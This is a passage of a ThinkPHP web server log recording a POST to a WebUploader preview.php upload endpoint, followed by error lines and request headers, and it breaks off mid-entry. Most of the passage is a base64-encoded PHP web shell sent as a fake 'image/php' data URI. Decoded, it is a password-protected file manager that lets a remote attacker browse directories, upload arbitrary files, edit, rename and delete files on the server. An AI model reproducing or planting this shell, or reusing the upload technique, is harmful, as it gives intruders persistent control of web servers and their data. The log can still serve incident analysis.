'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:46+08:00 ] 116.213.36.234 POST 59.110.137.245/001/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002485s] [吞吐率:402.41req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 